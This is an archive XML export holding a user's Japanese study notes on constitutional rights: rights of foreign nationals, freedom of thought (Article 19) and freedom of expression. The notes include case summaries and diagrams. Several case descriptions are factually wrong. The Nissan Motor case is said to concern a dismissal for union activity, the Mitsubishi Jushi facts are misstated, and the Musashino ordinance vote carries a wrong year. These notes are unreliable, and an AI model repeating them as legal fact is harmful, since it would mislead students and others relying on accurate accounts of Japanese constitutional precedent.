<?xml version="1.0" encoding="UTF-8"?>
<itemContainer xmlns="http://omeka.org/schemas/omeka-xml/v5" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://omeka.org/schemas/omeka-xml/v5 http://omeka.org/schemas/omeka-xml/v5/omeka-xml-5-0.xsd" uri="https://archive.unjuno.org/items?output=omeka-xml&amp;page=3" accessDate="2026-10-08T06:32:54+09:00">
  <miscellaneousContainer>
    <pagination>
      <pageNumber>3</pageNumber>
      <perPage>20</perPage>
      <totalResults>120</totalResults>
    </pagination>
  </miscellaneousContainer>
  <item itemId="129" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1944">
              <text>&lt;div&gt;
&lt;div&gt;&lt;span&gt;# 補償される人権の範囲&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## この文書について&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この文書は、日本国憲法における人権保障の範囲、特に外国人の人権保障、思想・良心の自由、表現の自由、公共の福祉による人権制限について、体系的に整理したものです。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 外国人の人権保障&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 基本原則&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;人権は国家成立以前に存在する権利という解釈のため、外国人と日本人にも&lt;/span&gt;&lt;span&gt;**享有**&lt;/span&gt;&lt;span&gt;（きょうゆう：権利を有すること）されるものであり、憲法第98条（国際協調主義）に基づく考え方でもあります。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[人権の享有主体] --&amp;gt; B[日本人]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[外国人]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[すべての人権を享有]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[一部の人権は制限]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; F[入国の自由: 保障されない]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; G[参政権: 原則保障されない]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; H[公務員就任権: 一部制限]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; I[基本的人権: 享有される]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; J[表現の自由]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; K[集会の自由]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; L[思想・良心の自由]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**日本国憲法第98条（最高法規）**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;第1項：この憲法は、国の最高法規であつて、その条規に反する法律、命令、詔勅及び国務に関するその他の行為の全部又は一部は、その効力を有しない。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;第2項：日本国が締結した条約及び確立された国際法規は、これを誠実に遵守することを必要とする。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この条文の第1項は、憲法の最高法規性を明示し、憲法に反する法律や命令は無効であることを定めています。第2項は、日本国が締結した条約及び確立された国際法規を誠実に遵守することを定めており、国際協調主義の理念を明示しています。この理念に基づき、国際人権規約などで保障される人権は、外国人にも適用されるべきものとして理解されています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1. 外国人の入国の自由&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 基本原則&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**外国人の入国の自由は保障されない**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; これらは国際慣習的に入国を制限できるからという解釈である&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 国家は主権に基づき、自国の領域への外国人の入国を規制する権限を有する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 法的根拠&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 出入国管理及び難民認定法（入管法）により、外国人の入国・在留は許可制となっている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 在留資格の種類により、活動内容や在留期間が制限される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 国際慣習法上、国家は自国の安全や公共の秩序を維持するため、外国人の入国を制限できるとされている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2. 狭義の参政権（選挙権・被選挙権）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 基本原則&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**原則として保障されない**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ただし、判例により近年では自治体レベルの選挙権は認めることができるといわれている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 「憲法では禁止されていない。（憲法上の義務を果たしていれば外国人も一部の参政権は認められている）」&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 狭義の参政権・公務員就任権は外国人に補償されていないわけではない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 憲法上の根拠&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 日本国憲法第15条（選挙権）は「日本国民」に選挙権を保障している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 日本国憲法第44条（議員資格）も「日本国民」を要件としている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; しかし、憲法上、外国人への参政権付与を明確に禁止する規定は存在しない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 公務員就任権について&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 一般職公務員については、国籍条項を設けていない場合、外国人も就任可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ただし、「直接的に統治に関わる管理職」については制限される傾向にある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 3. 判例と実例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マクリーン事件判決（最高裁昭和53年10月4日）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事件の概要：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;イギリス国籍のマクリーン氏が1969年に日本での在留資格の更新を拒否されたことから始まった行政訴訟。マクリーン氏は日本国内で政治活動（ベトナム反戦運動など）に参加していたことが問題視され、出入国管理令に基づく在留期間更新不許可処分を受けました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**争点：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 「外国人にも日本国憲法が保障する基本的人権が及ぶのか」&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 「外国人にも表現の自由や集会の自由が認められるのか」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判決の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;最高裁判所は1978年10月4日の判決（いわゆるマクリーン判決）で、外国人も在留中は一定範囲で憲法上の基本的人権を保障されると認めました。ただし、その保障の範囲は日本人より制約されており、公共の福祉や入国管理政策上の要請などにより正当な制限を受けうるとされました。たとえば在留資格の更新や在留の許否などについては、国の裁量が広く認められるという判断が示されています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意義：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;このマクリーン事件判決は、日本における外国人の人権保障と行政裁量のバランスを示した重要な判例の一つとなっています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 永住外国人地方参政権訴訟（最高裁平成7年2月28日判決）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事件の概要：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;在日韓国・朝鮮人らが、地方選挙における選挙権・被選挙権を求めて提起した訴訟。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判決の構成：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;判決は&lt;/span&gt;&lt;span&gt;**主文**&lt;/span&gt;&lt;span&gt;（しゅぶん：裁判所の最終的な結論部分）と&lt;/span&gt;&lt;span&gt;**傍論**&lt;/span&gt;&lt;span&gt;（ぼうろん：判決理由の一部で、事件の解決に直接必要ではないが、判例として重要な判断を示した部分）から構成されます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[判決] --&amp;gt; B[主文]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[判決理由]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[判決理由の主文部分]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[傍論]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; F[事件の結論&amp;lt;br/&amp;gt;例: 請求棄却]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; G[判例として重要な判断&amp;lt;br/&amp;gt;例: 憲法上禁止されていない]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判決の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; この判決は「傍論」が話題となった判決として知られています&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**主文：**&lt;/span&gt;&lt;span&gt; 本件訴訟の請求は棄却（具体的な事件の結論）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**傍論：**&lt;/span&gt;&lt;span&gt; 「永住外国人に地方参政権を付与するか否かは立法政策に属し、憲法上禁止されているものではない」との判断が示されました。これは判決主文ではなく判決理由の一部（傍論）として示されたものです&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 地方自治体が条例により永住外国人に一定の地方参政権（例：住民投票権や地方公共団体の議会議員・長の選挙権等）を付与すること自体は、憲法違反とはされないとの立場を示しました&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**傍論の意義：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;傍論は判決の結論（主文）には直接影響しませんが、今後の判例や立法に大きな影響を与えることがあります。この判決の傍論は、憲法上、外国人への地方参政権付与が禁止されていないことを示した重要な判断であり、その後の立法論議や地方自治体の条例制定に影響を与えました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 東京都の事例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**武蔵野市の取り組み：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 東京都武蔵野市や豊島区などでは、外国人住民にも住民投票条例の制定や参加を認める動きがみられる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 2016年の「東京都武蔵野市住民投票条例案」審議では、外国人への投票権付与（一定の条件を満たした永住者等）を含めて条例化が検討されたが、議会で否決された&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**その他の事例：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 東京都在住の外国人が地方自治に関する権利（住民投票の参加や行政手続きへの参加）を求めて訴訟を起こした事例も存在するが、現時点で国政選挙や自治体首長・議員選挙の投票権までは広く認められていない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 一部の自治体では、外国人住民を対象とした「住民投票」や「住民参加型の意思決定プロセス」への参加を認める条例が制定されている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 4. 判例から導かれる考え方&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの判例から「直接的に統治に関わる管理職」は外国人にはつけないという考えが確立しています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[外国人の公務員就任権] --&amp;gt; B[認められる職務]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[制限される職務]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[窓口業務]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[事務処理]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; F[技術職]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; G[研究職]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; H[直接的に統治に関わる管理職]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; I[政策決定に関与]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; J[国家の意思を執行]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; K[主権的権限を行使]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    K --&amp;gt; L[裁判官]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    K --&amp;gt; M[検察官]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    K --&amp;gt; N[自衛官]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**「直接的に統治に関わる管理職」の定義：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;国家の意思決定や政策の執行に直接関与する職務を指します。具体的には、国家の主権的権限を行使する職務や、国民の権利義務に直接影響を与える職務が該当します。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**具体例：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**認められる職務：**&lt;/span&gt;&lt;span&gt; 窓口業務、事務処理、技術職、研究職など、統治の意思決定に直接関与しない職務&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**制限される職務：**&lt;/span&gt;&lt;span&gt; 指示して動かす役職、政策決定に関与する管理職、国家の意思を執行する職務など&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**法的根拠：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 国家公務員法や地方公務員法において、一部の職種については国籍条項が設けられている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 裁判官、検察官、自衛官など、国家の主権的権限を行使する職務については、日本国籍が要件とされている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;# 思想良心の自由（憲法19条）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 条文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**日本国憲法第19条**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;「思想及び良心の自由は、これを侵してはならない。」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;（注：本条文では「憲法第19条」と表記していますが、正式には「日本国憲法第19条」です。以下、同様に「憲法第○条」と表記する場合があります）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 意義と内容&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 思想・良心の自由とは&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;思想・良心の自由は、個人が内心において自由に考え、信じることを保障する権利です。これは、国家権力による内心の強制や干渉を排除することを目的としています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 保障される内容&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**思想の自由：**&lt;/span&gt;&lt;span&gt; 個人が自由に考え、信じることを保障&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**良心の自由：**&lt;/span&gt;&lt;span&gt; 個人の道徳的・倫理的な判断の自由を保障&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**内心の自由：**&lt;/span&gt;&lt;span&gt; 内心の思想や良心を外部に表明するかどうかの自由&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 制限の可能性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 憲法第19条では思想・良心の自由について書かれているが、これは自由にできるというわけではない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 基本的人権は公共の福祉による制限を受けるため、憲法第19条も条文には制限を受けると書いてはいないが、事実上制限を受ける場合もあると考えられる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 制限の具体例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**内心の自由は絶対的に保障される：**&lt;/span&gt;&lt;span&gt; 思想や良心そのものは制限されない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**外部に現れた表現は制限されうる：**&lt;/span&gt;&lt;span&gt; 思想や良心を外部に表現した場合、それが他人の人権を侵害する場合は制限される可能性がある&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公務員の政治的行為の制限：**&lt;/span&gt;&lt;span&gt; 国家公務員法や地方公務員法により、公務員の政治的行為が制限される場合がある（これは職務上の制約であり、思想・良心の自由そのものの制限ではない）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 判例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 三菱樹脂事件（最高裁昭和48年12月12日）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事件の概要：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;大学在学中に学園紛争に参加していた学生が、三菱樹脂株式会社の採用試験に合格したが、思想・信条に関する質問票への回答を拒否したことを理由に採用を拒否された事件。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**争点：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;思想・信条を理由とした採用拒否が、憲法第19条（思想・良心の自由）や民法第90条（公序良俗違反）に違反するか。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判決の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;最高裁判所は、私的企業の採用活動は私的自治の原則に基づくものであり、思想・信条を理由とした採用拒否は、必ずしも違法とはならないと判断しました。ただし、採用拒否の理由が思想・信条のみに基づく場合、その合理性が問われるとされました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意義：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;私的自治の原則と思想・良心の自由の関係を示した重要な判例です。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 日産自動車事件（最高裁昭和56年3月24日）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**事件の概要：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;日産自動車の労働者が、組合活動への参加を理由に解雇された事件。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**争点：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;思想・信条を理由とした解雇が、憲法第19条（思想・良心の自由）や労働組合法に違反するか。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**判決の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;最高裁判所は、労働者の思想・信条を理由とした解雇は、労働者の思想・良心の自由を侵害するものとして違法とされる場合があると判断しました。特に、労働組合活動への参加は労働者の権利であり、これを理由とした解雇は不当労働行為に該当する可能性があるとされました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意義：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;労働者の思想・良心の自由と労働権の関係を示した重要な判例です。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;# 表現の自由：明治憲法と日本国憲法の比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 明治憲法29条&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**条文：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;「日本臣民は法律の範囲内において言論著作印行集会及び結社の自由を有す」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**意味：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 国会が法律を制定・改定することによって臣民の人権をなくすことや制限することができることを意味する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 「法律の範囲内において」という文言により、法律によって人権を制限できることが明示されていた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; これは、人権が法律によって制限されることを前提とした規定であり、法律優位の考え方が示されていた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**問題点：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 法律によって人権を制限できるため、国家権力が法律を制定することで人権を侵害する可能性があった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 戦前の日本では、治安維持法などにより表現の自由が大幅に制限された&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 日本国憲法21条&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**条文：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;第1項：「集会、結社及び言論、出版その他一切の表現の自由は、これを保障する。」  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;第2項：「検閲は、これをしてはならない。通信の秘密は、これを侵してはならない。」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**明治憲法との違い：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 「法律の範囲内において」という文言がない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; これは「国会が法律を制定することで国民の人権を侵害することはできない」ことを意味する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**ただし、制限は存在する：**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; これも基本的人権に当たるため公共の福祉による制限を受ける&lt;/span&gt;&lt;/div&gt;
